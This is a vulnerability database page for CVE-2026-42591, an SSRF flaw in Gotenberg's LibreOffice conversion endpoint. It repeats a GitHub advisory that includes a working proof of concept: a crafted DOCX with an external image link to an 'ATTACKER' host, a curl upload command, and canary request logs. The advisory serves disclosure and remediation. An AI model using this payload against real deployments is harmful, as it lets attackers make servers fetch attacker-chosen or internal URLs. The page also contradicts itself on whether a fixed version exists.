Every CVE Search/ Get API key

CVE-2026-42591

Gotenberg: Server-Side Request Forgery (SSRF) in github.com/gotenberg/gotenberg/v8

8.2 High

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.25%Up 0.2 points since May 15, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

Gotenberg: Server-Side Request Forgery (SSRF) in github.com/gotenberg/gotenberg/v8

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0.

Record
CVE-2026-42591
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-30309 8.2

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0.

Record
EUVD-2026-30309
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-rm4c-xj6x-49mw 8.2

Gotenberg has a Server-Side Request Forgery (SSRF) Issue

Summary

The SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg's Go code handles — Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.

This was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.

Details

When a file is uploaded to /forms/libreoffice/convert, the route in pkg/modules/libreoffice/routes.go reads form parameters and passes the input file directly to libreOffice.Pdf():

err = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)

There's no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (pkg/gotenberg/outbound.go) wraps Go's http.Client with a custom dialer that resolves URLs and rejects non-public IPs — but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can't intercept that.

OOXML formats like DOCX can embed external image references using TargetMode="External" in relationship files. LibreOffice fetches those URLs during PDF conversion.

Suggested fix: Run LibreOffice with unshare --net to drop all network access from the subprocess — no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for _rels/*.rels entries with TargetMode="External" and validate/strip those URLs before passing the file to LibreOffice.

PoC

Build a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.

word/_rels/document.xml.rels:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId10"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://ATTACKER:9877/ssrf"
    TargetMode="External"/>
</Relationships>

word/document.xml (references the external image via r:link):

<w:drawing>
  <wp:inline distT="0" distB="0" distL="0" distR="0">
    <wp:extent cx="914400" cy="914400"/>
    <wp:docPr id="1" name="Picture 1"/>
    <a:graphic>
      <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
        <pic:pic>
          <pic:nvPicPr>
            <pic:cNvPr id="1" name="ssrf.png"/>
            <pic:cNvPicPr/>
          </pic:nvPicPr>
          <pic:blipFill>
            <a:blip r:link="rId10"/>
            <a:stretch><a:fillRect/></a:stretch>
          </pic:blipFill>
          <pic:spPr>
            <a:xfrm>
              <a:off x="0" y="0"/>
              <a:ext cx="914400" cy="914400"/>
            </a:xfrm>
            <a:prstGeom prst="rect"><a:avLst/></a:prstGeom>
          </pic:spPr>
        </pic:pic>
      </a:graphicData>
    </a:graphic>
  </wp:inline>
</w:drawing>

Pack into a valid DOCX zip and send:

curl -s -o output.pdf \
  http://TARGET:3000/forms/libreoffice/convert \
  --form files=@ssrf_test.docx

Canary server immediately shows LibreOffice reaching out:

OPTIONS /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

GET /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against gotenberg/gotenberg:8.31.0.

Impact

LibreOffice makes full GET requests, so response…

Record
GHSA-rm4c-xj6x-49mw
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 8.2

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0.

Record
CVE-2026-42591
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 8.2

Gotenberg: Server-Side Request Forgery (SSRF) in github.com/gotenberg/gotenberg/v8

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0.

Record
CVE-2026-42591
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-rm4c-xj6x-49mw 8.2

Gotenberg has a Server-Side Request Forgery (SSRF) Issue

Summary

The SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg's Go code handles — Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.

This was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.

Details

When a file is uploaded to /forms/libreoffice/convert, the route in pkg/modules/libreoffice/routes.go reads form parameters and passes the input file directly to libreOffice.Pdf():

err = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)

There's no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (pkg/gotenberg/outbound.go) wraps Go's http.Client with a custom dialer that resolves URLs and rejects non-public IPs — but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can't intercept that.

OOXML formats like DOCX can embed external image references using TargetMode="External" in relationship files. LibreOffice fetches those URLs during PDF conversion.

Suggested fix: Run LibreOffice with unshare --net to drop all network access from the subprocess — no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for _rels/*.rels entries with TargetMode="External" and validate/strip those URLs before passing the file to LibreOffice.

PoC

Build a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.

word/_rels/document.xml.rels:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId10"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://ATTACKER:9877/ssrf"
    TargetMode="External"/>
</Relationships>

word/document.xml (references the external image via r:link):

<w:drawing>
  <wp:inline distT="0" distB="0" distL="0" distR="0">
    <wp:extent cx="914400" cy="914400"/>
    <wp:docPr id="1" name="Picture 1"/>
    <a:graphic>
      <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
        <pic:pic>
          <pic:nvPicPr>
            <pic:cNvPr id="1" name="ssrf.png"/>
            <pic:cNvPicPr/>
          </pic:nvPicPr>
          <pic:blipFill>
            <a:blip r:link="rId10"/>
            <a:stretch><a:fillRect/></a:stretch>
          </pic:blipFill>
          <pic:spPr>
            <a:xfrm>
              <a:off x="0" y="0"/>
              <a:ext cx="914400" cy="914400"/>
            </a:xfrm>
            <a:prstGeom prst="rect"><a:avLst/></a:prstGeom>
          </pic:spPr>
        </pic:pic>
      </a:graphicData>
    </a:graphic>
  </wp:inline>
</w:drawing>

Pack into a valid DOCX zip and send:

curl -s -o output.pdf \
  http://TARGET:3000/forms/libreoffice/convert \
  --form files=@ssrf_test.docx

Canary server immediately shows LibreOffice reaching out:

OPTIONS /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

GET /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against gotenberg/gotenberg:8.31.0.

Impact

LibreOffice makes full GET requests, so response…

Record
GHSA-rm4c-xj6x-49mw
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGO-2026-5627 No score

Gotenberg has a Server-Side Request Forgery (SSRF) Issue in github.com/gotenberg/gotenberg

Gotenberg has a Server-Side Request Forgery (SSRF) Issue in github.com/gotenberg/gotenberg

Record
GO-2026-5627
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/gotenberg/gotenberg/v8
Go
 through 8.31.0 None known
github.com/gotenberg/gotenberg/v7
Go
 All versions None known
github.com/gotenberg/gotenberg/v8
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-42591 is a high vulnerability (CVSS 8.2) in Gotenberg, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. No source names a fixed version.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,539 references and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open